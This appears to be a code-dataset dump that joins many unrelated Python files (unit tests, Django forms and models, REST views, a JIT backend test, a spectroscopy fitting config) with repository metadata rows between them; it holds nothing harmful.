self.entry = gdata.apps.emailsettings.data.EmailSettingsVacationResponder()
def testEnable(self):
self.entry.enable = True
self.assertEquals(self.entry.enable, True)
def testSubject(self):
self.entry.subject = 'On vacation!'
self.assertEquals(self.entry.subject, 'On vacation!')
def testMessage(self):
self.entry.message = 'See you on September 1st'
self.assertEquals(self.entry.message, 'See you on September 1st')
def testContactsOnly(self):
self.entry.contacts_only = True
self.assertEquals(self.entry.contacts_only, True)
class EmailSettingsSignatureTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsSignature()
def testValue(self):
self.entry.signature_value = 'Regards, Joe'
self.assertEquals(self.entry.signature_value, 'Regards, Joe')
class EmailSettingsLanguageTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsLanguage()
def testLanguage(self):
self.entry.language_tag = 'es'
self.assertEquals(self.entry.language_tag, 'es')
class EmailSettingsGeneralTest(unittest.TestCase):
def setUp(self):
self.entry = gdata.apps.emailsettings.data.EmailSettingsGeneral()
def testPageSize(self):
self.entry.page_size = 25
self.assertEquals(self.entry.page_size, 25)
def testShortcuts(self):
self.entry.shortcuts = True
self.assertEquals(self.entry.shortcuts, True)
def testArrows(self):
self.entry.arrows = True
self.assertEquals(self.entry.arrows, True)
def testSnippets(self):
self.entry.snippets = True
self.assertEquals(self.entry.snippets, True)
def testUnicode(self):
self.entry.use_unicode = True
self.assertEquals(self.entry.use_unicode, True)
def suite():
return conf.build_suite([EmailSettingsLabelTest, EmailSettingsFilterTest,
EmailSettingsSendAsAliasTest, EmailSettingsWebClipTest,
EmailSettingsForwardingTest, EmailSettingsPopTest,
EmailSettingsImapTest, EmailSettingsVacationResponderTest,
EmailSettingsSignatureTest, EmailSettingsLanguageTest,
EmailSettingsGeneralTest])
if __name__ == '__main__':
unittest.main()
| 28.393305 | 79 | 0.743148 | 817 | 6,786 | 6.101591 | 0.235006 | 0.142628 | 0.117352 | 0.170512 | 0.595988 | 0.449549 | 0.358275 | 0.321966 | 0.295085 | 0.295085 | 0 | 0.002413 | 0.144857 | 6,786 | 238 | 80 | 28.512605 | 0.856626 | 0.083996 | 0 | 0.297297 | 0 | 0 | 0.07531 | 0.003709 | 0 | 0 | 0 | 0 | 0.22973 | 1 | 0.310811 | false | 0 | 0.033784 | 0.006757 | 0.425676 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
071548e13ef55bffa54b66776e8a766e321c1a21 | 171 | py | Python | website/views/api/__init__.py | JamesBrofos/Thor-Server | 1acaf7436b22100ef241c779365fb0297165c063 | [
"MIT"
] | null | null | null | website/views/api/__init__.py | JamesBrofos/Thor-Server | 1acaf7436b22100ef241c779365fb0297165c063 | [
"MIT"
] | 5 | 2017-07-05T14:44:37.000Z | 2017-10-02T16:07:13.000Z | website/views/api/__init__.py | JamesBrofos/Thor-Server | 1acaf7436b22100ef241c779365fb0297165c063 | [
"MIT"
] | 3 | 2017-08-04T15:47:43.000Z | 2021-11-17T14:31:48.000Z | from .api import api
from .experiments import experiments
from .recommendations import recommendations
api_endpoints = [
api,
experiments,
recommendations
]
| 15.545455 | 44 | 0.760234 | 17 | 171 | 7.588235 | 0.352941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192982 | 171 | 10 | 45 | 17.1 | 0.934783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
07196d759e5f12caaaaadc153544161f5fb7d01c | 3,207 | py | Python | ERation/eadmin/forms.py | mishelshaji/ERation | 0e755ae63ae2c9cc009e18b72425ac508670a1cf | [
"MIT"
] | null | null | null | ERation/eadmin/forms.py | mishelshaji/ERation | 0e755ae63ae2c9cc009e18b72425ac508670a1cf | [
"MIT"
] | null | null | null | ERation/eadmin/forms.py | mishelshaji/ERation | 0e755ae63ae2c9cc009e18b72425ac508670a1cf | [
"MIT"
] | null | null | null | from django.forms import forms, ModelForm, TextInput, Textarea, Select, CharField, PasswordInput, NumberInput
from django.contrib.auth.password_validation import validate_password
from .models import User, Cards, Products, Allocations, Complaints
class LoginForm(ModelForm):
password = CharField(
label = 'password',
max_length=15,
# validators=[validate_password],
widget=PasswordInput(
attrs={
'class': 'form-control',
'required': 'required'
}
)
)
#? Disable uniqueness checking
def validate_unique(x):
return False
class Meta:
model = User
fields = ('email',)
widgets = {
'email': TextInput(
attrs={
'class': 'form-control',
'type': 'email',
'required': 'required',
'placeholder': 'someone@example.com'
}
),
# 'password': TextInput(attrs={
# 'class': 'form-control',
# 'type': 'password',
# 'required': 'required'
# })
}
class NewCardForm(ModelForm):
class Meta:
model = Cards
fields = '__all__'
widgets = {
'card_name': TextInput(
attrs={
'class': 'form-control',
'required': 'required',
'placeholder': 'type here...',
'minlength': 3,
}
)
}
class NewProductForm(ModelForm):
class Meta:
model=Products
fields='__all__'
widgets={
'name': TextInput(
attrs={
'class': 'form-control',
'required': 'required'
}
),
'unit': Select(
attrs={
'class': 'form-control',
'required': 'required'
}
),
'details': Textarea(
attrs={
'class': 'form-control'
}
),
'price': NumberInput(
attrs={
'class': 'form-control'
}
)
}
class NewAllocationForm(ModelForm):
class Meta:
model=Allocations
fields="__all__"
widgets={
'card_name': Select(
attrs={
'class': 'form-control',
'required': 'required'
}
),
'product': Select(
attrs={
'class': 'form-control',
'required': 'required'
}
),
'quantity': NumberInput(
attrs={
'class': 'form-control',
'required': 'required'
}
)
}
class NewComplaintForm(ModelForm):
"""Form definition for NewComplaint."""
class Meta:
"""Meta definition for NewComplaintform."""
model = Complaints
exclude = ('customer',)
| 26.725 | 109 | 0.422201 | 204 | 3,207 | 6.544118 | 0.352941 | 0.082397 | 0.115356 | 0.173034 | 0.343071 | 0.277903 | 0.171536 | 0.074906 | 0 | 0 | 0 | 0.001752 | 0.466168 | 3,207 | 119 | 110 | 26.94958 | 0.778037 | 0.076707 | 0 | 0.454545 | 0 | 0 | 0.159307 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.010101 | false | 0.050505 | 0.030303 | 0.010101 | 0.161616 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
071c6c17dc8c7865e5a97fb2419b036a4c44e2c7 | 3,515 | py | Python | tests/transformers/test_feature_union.py | khrapovs/hcl-model | 879740e6072c2ff45864040db0b8364b55de1f44 | [
"MIT"
] | null | null | null | tests/transformers/test_feature_union.py | khrapovs/hcl-model | 879740e6072c2ff45864040db0b8364b55de1f44 | [
"MIT"
] | 5 | 2022-02-09T12:38:04.000Z | 2022-02-21T15:25:06.000Z | tests/transformers/test_feature_union.py | khrapovs/hcl-model | 879740e6072c2ff45864040db0b8364b55de1f44 | [
"MIT"
] | 1 | 2022-02-17T09:59:22.000Z | 2022-02-17T09:59:22.000Z | from __future__ import annotations
from typing import Union
import pandas as pd
import pytest
from pandas._testing import assert_frame_equal
from sklearn.base import BaseEstimator, TransformerMixin
from hcl_model.transformers.feature_union import make_union_of_datetime_indexed_features
class TransformerForTests(BaseEstimator, TransformerMixin):
def __init__(self, dates: Union[list[int], pd.DatetimeIndex], cols: Union[str, list[str]]) -> None:
self._dates = dates
self._cols = cols
def fit(self, X: pd.DataFrame, y: pd.Series = None) -> TransformerForTests:
return self
def transform(self, X: pd.DataFrame) -> pd.DataFrame:
return X.loc[self._dates, self._cols]
def test_datetime_indexed_feature_union() -> None:
date_index = pd.date_range(start="2021-01-01", periods=4)
df = pd.DataFrame({"a": [1, 3, 6, 9], "b": [2, 5, 7, 10]}, index=date_index)
feature_transformers = [
TransformerForTests(dates=date_index, cols=["a"]),
TransformerForTests(dates=date_index, cols=["b"]),
]
feature_union = make_union_of_datetime_indexed_features(*feature_transformers)
assert_frame_equal(feature_union.transform(X=df), df)
assert_frame_equal(feature_union.fit_transform(X=df), df)
feature_transformers = [
TransformerForTests(dates=date_index[[0, 2]], cols=["a"]),
TransformerForTests(dates=date_index[[1, 3]], cols=["b"]),
]
feature_union = make_union_of_datetime_indexed_features(*feature_transformers)
assert_frame_equal(feature_union.transform(X=df), df.loc[[]].set_index(pd.Index([], dtype="object")))
assert_frame_equal(feature_union.fit_transform(X=df), df.loc[[]].set_index(pd.Index([], dtype="object")))
feature_transformers = [
TransformerForTests(dates=date_index[[0, 2]], cols=["a"]),
TransformerForTests(dates=date_index, cols=["b"]),
]
feature_union = make_union_of_datetime_indexed_features(*feature_transformers)
assert_frame_equal(feature_union.transform(X=df), df.loc[date_index[[0, 2]]])
assert_frame_equal(feature_union.fit_transform(X=df), df.loc[date_index[[0, 2]]])
feature_transformers = [
TransformerForTests(dates=date_index[[0, 2]], cols="a"),
TransformerForTests(dates=date_index, cols=["b"]),
]
feature_union = make_union_of_datetime_indexed_features(*feature_transformers)
assert_frame_equal(feature_union.transform(X=df), df.loc[date_index[[0, 2]]])
assert_frame_equal(feature_union.fit_transform(X=df), df.loc[date_index[[0, 2]]])
feature_transformers = [
TransformerForTests(dates=date_index[[0, 2]], cols="a"),
TransformerForTests(dates=date_index, cols="b"),
]
feature_union = make_union_of_datetime_indexed_features(*feature_transformers)
assert_frame_equal(feature_union.transform(X=df), df.loc[date_index[[0, 2]]])
assert_frame_equal(feature_union.fit_transform(X=df), df.loc[date_index[[0, 2]]])
feature_transformers = [
TransformerForTests(dates=[0, 2], cols="a"),
TransformerForTests(dates=[0, 1, 2, 3], cols="b"),
]
feature_union = make_union_of_datetime_indexed_features(*feature_transformers)
error_msg = "All features should be in datetime-indexed Series or DataFrames"
with pytest.raises(ValueError, match=error_msg):
feature_union.transform(X=df.reset_index(drop=True))
with pytest.raises(ValueError, match=error_msg):
feature_union.fit_transform(X=df.reset_index(drop=True))
| 45.064103 | 109 | 0.720626 | 467 | 3,515 | 5.12848 | 0.184154 | 0.100209 | 0.060125 | 0.137787 | 0.722338 | 0.722338 | 0.672234 | 0.647182 | 0.647182 | 0.604593 | 0 | 0.015318 | 0.145661 | 3,515 | 77 | 110 | 45.649351 | 0.782218 | 0 | 0 | 0.428571 | 0 | 0 | 0.028165 | 0 | 0 | 0 | 0 | 0 | 0.174603 | 1 | 0.063492 | false | 0 | 0.111111 | 0.031746 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
07206b194428f92300c0cd053cf09ea24d2b8a8f | 2,804 | py | Python | tests/unit/test_exceptions.py | robertmrk/aiocometd | 6c69ba505d02df334ebc551695d05c0427b92daf | [
"MIT"
] | 14 | 2018-12-02T17:15:59.000Z | 2022-02-27T12:37:50.000Z | tests/unit/test_exceptions.py | robertmrk/aiocometd | 6c69ba505d02df334ebc551695d05c0427b92daf | [
"MIT"
] | 14 | 2019-02-11T13:06:59.000Z | 2022-02-14T18:04:16.000Z | tests/unit/test_exceptions.py | robertmrk/aiocometd | 6c69ba505d02df334ebc551695d05c0427b92daf | [
"MIT"
] | 16 | 2019-03-11T13:13:29.000Z | 2022-02-27T11:30:59.000Z | from unittest import TestCase, mock
from aiocometd.exceptions import ServerError
class TestServerError(TestCase):
def test_properties(self):
response = {
"channel": "/meta/subscription",
"successful": False,
"id": "0",
"error": "error"
}
error = ServerError("description message", response)
self.assertEqual(error.message, "description message")
self.assertEqual(error.response, response)
self.assertEqual(error.error, "error")
def test_properties_on_no_error(self):
response = {
"channel": "/meta/subscription",
"successful": False,
"id": "0"
}
error = ServerError("description message", response)
self.assertEqual(error.message, "description message")
self.assertEqual(error.response, response)
self.assertIsNone(error.error)
def test_properties_on_no_response(self):
response = None
error = ServerError("description message", response)
self.assertEqual(error.message, "description message")
self.assertIsNone(error.response)
self.assertIsNone(error.error)
@mock.patch("aiocometd.exceptions.utils")
def test_error_code(self, utils):
response = {
"channel": "/meta/subscription",
"successful": False,
"id": "0",
"error": "error"
}
utils.get_error_code.return_value = 12
error = ServerError("description message", response)
result = error.error_code
self.assertEqual(result, utils.get_error_code.return_value)
utils.get_error_code.assert_called_with(response["error"])
@mock.patch("aiocometd.exceptions.utils")
def test_error_message(self, utils):
response = {
"channel": "/meta/subscription",
"successful": False,
"id": "0",
"error": "error"
}
utils.get_error_message.return_value = "message"
error = ServerError("description message", response)
result = error.error_message
self.assertEqual(result, utils.get_error_message.return_value)
utils.get_error_message.assert_called_with(response["error"])
@mock.patch("aiocometd.exceptions.utils")
def test_error_args(self, utils):
response = {
"channel": "/meta/subscription",
"successful": False,
"id": "0",
"error": "error"
}
utils.get_error_args.return_value = ["arg"]
error = ServerError("description message", response)
result = error.error_args
self.assertEqual(result, utils.get_error_args.return_value)
utils.get_error_args.assert_called_with(response["error"])
| 31.155556 | 70 | 0.615906 | 276 | 2,804 | 6.083333 | 0.155797 | 0.071471 | 0.069684 | 0.121501 | 0.860631 | 0.795712 | 0.677784 | 0.640858 | 0.537225 | 0.507445 | 0 | 0.003413 | 0.268545 | 2,804 | 89 | 71 | 31.505618 | 0.815212 | 0 | 0 | 0.565217 | 0 | 0 | 0.181526 | 0.027817 | 0 | 0 | 0 | 0 | 0.217391 | 1 | 0.086957 | false | 0 | 0.028986 | 0 | 0.130435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
072c8fbebf93d41da1c8f3d4f34b02424071401b | 473 | py | Python | backend/posts/views.py | dokenzy/singlecolumn | 5001a8a870775fb1c2ee5dcf7f92ee04208a696a | [
"MIT"
] | 1 | 2017-07-03T20:43:52.000Z | 2017-07-03T20:43:52.000Z | backend/posts/views.py | dokenzy/singlecolumn | 5001a8a870775fb1c2ee5dcf7f92ee04208a696a | [
"MIT"
] | null | null | null | backend/posts/views.py | dokenzy/singlecolumn | 5001a8a870775fb1c2ee5dcf7f92ee04208a696a | [
"MIT"
] | null | null | null | from rest_framework.generics import ListAPIView, RetrieveAPIView
from rest_framework.permissions import AllowAny
from .models import Post
from .serializers import PostSerializer
class PostDetailView(RetrieveAPIView):
permission_classes = (AllowAny,)
serializer_class = PostSerializer
queryset = Post.objects.all()
class PostListView(ListAPIView):
permission_classes = (AllowAny,)
serializer_class = PostSerializer
queryset = Post.objects.all()
| 26.277778 | 64 | 0.790698 | 47 | 473 | 7.829787 | 0.468085 | 0.043478 | 0.092391 | 0.190217 | 0.413043 | 0.413043 | 0.413043 | 0.413043 | 0.413043 | 0.413043 | 0 | 0 | 0.143763 | 473 | 17 | 65 | 27.823529 | 0.908642 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
072d789c0f656cfce9297e7972c4d25fc13b2a67 | 257 | py | Python | hone/utils/json_utils.py | awsrossw/hone | d69dec08ad4dbeb59b6c042443635a2d4937d7c6 | [
"MIT"
] | null | null | null | hone/utils/json_utils.py | awsrossw/hone | d69dec08ad4dbeb59b6c042443635a2d4937d7c6 | [
"MIT"
] | null | null | null | hone/utils/json_utils.py | awsrossw/hone | d69dec08ad4dbeb59b6c042443635a2d4937d7c6 | [
"MIT"
] | null | null | null | """
Simple methods for processing JSON files
"""
import os
import json
'''
Write given JSON to given file.
'''
def save_json(json_struct, json_filepath):
with open(json_filepath, 'w') as f:
json.dump(json_struct, f, indent=2, sort_keys=True)
| 17.133333 | 59 | 0.696498 | 40 | 257 | 4.325 | 0.675 | 0.115607 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004762 | 0.182879 | 257 | 14 | 60 | 18.357143 | 0.819048 | 0.155642 | 0 | 0 | 0 | 0 | 0.005882 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
07327ee148b9ee9bee37947ee8ccd6cfb8cc81ab | 677 | py | Python | rpython/jit/backend/zarch/test/test_calling_convention.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 381 | 2018-08-18T03:37:22.000Z | 2022-02-06T23:57:36.000Z | rpython/jit/backend/zarch/test/test_calling_convention.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 16 | 2018-09-22T18:12:47.000Z | 2022-02-22T20:03:59.000Z | rpython/jit/backend/zarch/test/test_calling_convention.py | nanjekyejoannah/pypy | e80079fe13c29eda7b2a6b4cd4557051f975a2d9 | [
"Apache-2.0",
"OpenSSL"
] | 55 | 2015-08-16T02:41:30.000Z | 2022-03-20T20:33:35.000Z | from rpython.jit.backend.test.calling_convention_test import CallingConvTests
from rpython.jit.backend.zarch.codebuilder import InstrBuilder
from rpython.rtyper.lltypesystem import lltype, rffi
import rpython.jit.backend.zarch.registers as r
import rpython.jit.backend.zarch.conditions as c
class TestZARCHCallingConvention(CallingConvTests):
# ../../test/calling_convention_test.py
def make_function_returning_stack_pointer(self):
mc = InstrBuilder()
mc.LGR(r.r2, r.SP)
mc.BCR(c.ANY, r.r14)
return rffi.cast(lltype.Signed, mc.get_assembler_function())
def get_alignment_requirements(self):
return 2 # two byte alignment
| 35.631579 | 77 | 0.760709 | 89 | 677 | 5.651685 | 0.539326 | 0.079523 | 0.135189 | 0.131213 | 0.111332 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006944 | 0.149188 | 677 | 18 | 78 | 37.611111 | 0.866319 | 0.082718 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0.384615 | 0.076923 | 0.769231 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0732d2e9b06ec714fdca700a40318818293ffd17 | 1,087 | py | Python | bidfx/pricing/provider.py | bidfx/bidfx-api-py | 6b5e2c5efaa547b2d97a5556ef8d21d1de807f68 | [
"Apache-2.0"
] | 3 | 2020-04-29T09:19:56.000Z | 2021-03-08T11:12:05.000Z | bidfx/pricing/provider.py | bidfx/bidfx-api-py | 6b5e2c5efaa547b2d97a5556ef8d21d1de807f68 | [
"Apache-2.0"
] | 3 | 2020-03-08T21:54:02.000Z | 2021-02-02T22:33:51.000Z | bidfx/pricing/provider.py | bidfx/bidfx-api-py | 6b5e2c5efaa547b2d97a5556ef8d21d1de807f68 | [
"Apache-2.0"
] | 2 | 2020-06-13T10:52:18.000Z | 2022-03-02T17:29:45.000Z | __all__ = ["PriceProvider"]
import abc
from .subject import Subject
class PriceProvider(abc.ABC):
"""
A PriceProvider is an interface that encapsulates the operations of an underlying price provider implementation.
"""
@abc.abstractmethod
def start(self):
"""
Starts the pricing threads which connect to and manage real-time price services asynchronously.
"""
pass
@abc.abstractmethod
def stop(self):
"""
Stops the pricing threads.
"""
pass
@abc.abstractmethod
def subscribe(self, subject):
"""
Subscribes to real-time price publications on a given `Subject` representing an instrument.
:param subject: The price subject to subscribe to.
:type subject: Subject
"""
pass
@abc.abstractmethod
def unsubscribe(self, subject):
"""
Un-subscribes from a previously subscribed price `Subject`.
:param subject: The price subject to unsubscribe from.
:type subject: Subject
"""
pass
| 23.630435 | 116 | 0.622815 | 114 | 1,087 | 5.903509 | 0.45614 | 0.10104 | 0.118871 | 0.106984 | 0.086181 | 0.086181 | 0 | 0 | 0 | 0 | 0 | 0 | 0.299908 | 1,087 | 45 | 117 | 24.155556 | 0.884363 | 0.4977 | 0 | 0.5 | 0 | 0 | 0.03202 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.25 | 0.125 | 0 | 0.4375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
073f4834ba73e6944ef69371c0797f003f5d76e7 | 431 | py | Python | components/server/tests/routes/external/test_logo.py | kargaranamir/quality-time | 1c427c61bee9d31c3526f0a01be2218a7e167c23 | [
"Apache-2.0"
] | null | null | null | components/server/tests/routes/external/test_logo.py | kargaranamir/quality-time | 1c427c61bee9d31c3526f0a01be2218a7e167c23 | [
"Apache-2.0"
] | null | null | null | components/server/tests/routes/external/test_logo.py | kargaranamir/quality-time | 1c427c61bee9d31c3526f0a01be2218a7e167c23 | [
"Apache-2.0"
] | null | null | null | """Unit tests for the logo route."""
import unittest
from unittest.mock import patch
from routes.external import get_logo
class LogoTest(unittest.TestCase):
"""Unit tests for the logo route."""
@patch("bottle.static_file")
def test_logo(self, mock_static_file):
"""Test that a logo can be retrieved."""
mock_static_file.return_value = "logo"
self.assertEqual("logo", get_logo("sonarqube"))
| 25.352941 | 55 | 0.693735 | 59 | 431 | 4.915254 | 0.542373 | 0.103448 | 0.082759 | 0.103448 | 0.165517 | 0.165517 | 0 | 0 | 0 | 0 | 0 | 0 | 0.187935 | 431 | 16 | 56 | 26.9375 | 0.828571 | 0.222738 | 0 | 0 | 0 | 0 | 0.109718 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.125 | false | 0 | 0.375 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
075138d5085e80ffdbd9ccb6d338b9660208ed97 | 277 | py | Python | GRADE 9/Python/BraydenViana-Python-Video7Problem.py | i1470s/School-Work | e00843f3506b2ad674dce5e47ce3321002cc23e5 | [
"MIT"
] | null | null | null | GRADE 9/Python/BraydenViana-Python-Video7Problem.py | i1470s/School-Work | e00843f3506b2ad674dce5e47ce3321002cc23e5 | [
"MIT"
] | null | null | null | GRADE 9/Python/BraydenViana-Python-Video7Problem.py | i1470s/School-Work | e00843f3506b2ad674dce5e47ce3321002cc23e5 | [
"MIT"
] | null | null | null | age = 6
if age < 1:
print("baby")
elif age < 3:
print("toddler")
elif age < 5:
print("preschool")
elif age < 12:
print("gradeschooler")
elif age < 19:
print("teen")
elif age > 20:
print("old")
else:
print("integer error") | 9.551724 | 25 | 0.519856 | 36 | 277 | 4 | 0.555556 | 0.243056 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.053763 | 0.32852 | 277 | 29 | 26 | 9.551724 | 0.72043 | 0 | 0 | 0 | 0 | 0 | 0.212 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.466667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
0757f824769c9f20fb6044e378da5849a0c46cff | 1,230 | py | Python | alarms_project/models.py | hussu97/alarmous | 09bee975db56703ffd54602b50823f17f11613bf | [
"Apache-1.1"
] | 3 | 2019-08-19T10:43:51.000Z | 2021-12-12T00:25:43.000Z | alarms_project/models.py | hussu97/alarmous | 09bee975db56703ffd54602b50823f17f11613bf | [
"Apache-1.1"
] | 2 | 2020-06-05T22:25:20.000Z | 2021-06-10T21:49:37.000Z | alarms_project/models.py | hussu97/alarmous | 09bee975db56703ffd54602b50823f17f11613bf | [
"Apache-1.1"
] | null | null | null | from django.db import models
from django.contrib.auth.models import User
from rules.contrib.models import RulesModel
import rules
@rules.predicate
def is_alarm_creator(user, alarm):
return alarm.creator == user
rules.add_rule('can_edit_alarm',is_alarm_creator)
rules.add_perm('alarm.edit_alarm', is_alarm_creator)
# Create your models here.
class Alarm(RulesModel):
"""Model representing an alarm"""
title = models.CharField(max_length=200, default = 'Alarm', help_text = 'Enter a nice name for the alarm')
creator = models.ForeignKey(User, on_delete=models.CASCADE, default=1)
sound = models.ForeignKey('Sound', on_delete=models.CASCADE, default=1, help_text = 'Choose the sound for your alarm')
time = models.DateTimeField(help_text = 'Choose a date and time for your alarm that is BEFORE the current time')
class Meta:
ordering = ['time']
def __str__(self):
return f'{self.title} at {self.time}'
def get_absolute_url(self):
"""Returns the url to access a detail record for this alarm."""
return '/'
class Sound(models.Model):
name = models.CharField(max_length = 200)
audio = models.FileField()
def __str__(self):
return self.name | 37.272727 | 122 | 0.713008 | 175 | 1,230 | 4.851429 | 0.417143 | 0.070671 | 0.04947 | 0.037691 | 0.186101 | 0.068316 | 0 | 0 | 0 | 0 | 0 | 0.007944 | 0.181301 | 1,230 | 33 | 123 | 37.272727 | 0.835154 | 0.090244 | 0 | 0.08 | 0 | 0 | 0.183048 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16 | false | 0 | 0.16 | 0.12 | 0.84 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
075a52b6aaa7bda103545fd7abfb8d0dfaaecbc7 | 3,037 | py | Python | ALCHEMIConfig.py | ZGainsforth/ALCHEMI | c38b9d7a6021bf81f57f239ff435c4065d2d15d7 | [
"BSD-2-Clause"
] | null | null | null | ALCHEMIConfig.py | ZGainsforth/ALCHEMI | c38b9d7a6021bf81f57f239ff435c4065d2d15d7 | [
"BSD-2-Clause"
] | null | null | null | ALCHEMIConfig.py | ZGainsforth/ALCHEMI | c38b9d7a6021bf81f57f239ff435c4065d2d15d7 | [
"BSD-2-Clause"
] | null | null | null | from QuantSpectra import CreateEDSFitSection
'''
This is the only file you should have to edit for one ALCHEMI run to the next. It contains the few lines of code that define what peaks we want to fit for this spectrum, and what the fitting ranges are.
All the non-hardcoded stuff should go there.
'''
#CCDFileName = '/Volumes/Zack/Desktop/20160628 - TitanX - Righter Ti-TiO2 spinel FIB 1/ALCHEMI 2/CCD/Stack.emd'
#MosaicBinning = 5
EDSFileName = '/Volumes/Desktop/Unprocessed/20150623 - TitanX - Cecil A6, S3 ALCHEMI/Take 2/StackEDS.emd'
def DefineSections(Spectrum):
Sections = []
#Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Cr-Fe', SectionRange=[5000,7800], PeakNames=['CrKa', 'CrKb', 'FeKa', 'FeKb'], BkgName='Bkg'))
#Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Si', SectionRange=[1600,1950], PeakNames=['SiK'], BkgName='Bkg'))
Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Ti', SectionRange=[4290,4750], PeakNames=['TiKa'], BkgName='Bkg'))
Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='V', SectionRange=[4800,5100], PeakNames=['VKa'], BkgName='Bkg'))
Sections.append(CreateEDSFitSection(SpectrumIn=Spectrum, SectionName='Mg', SectionRange=[1165,1367], PeakNames=['MgK'], BkgName='Bkg'))
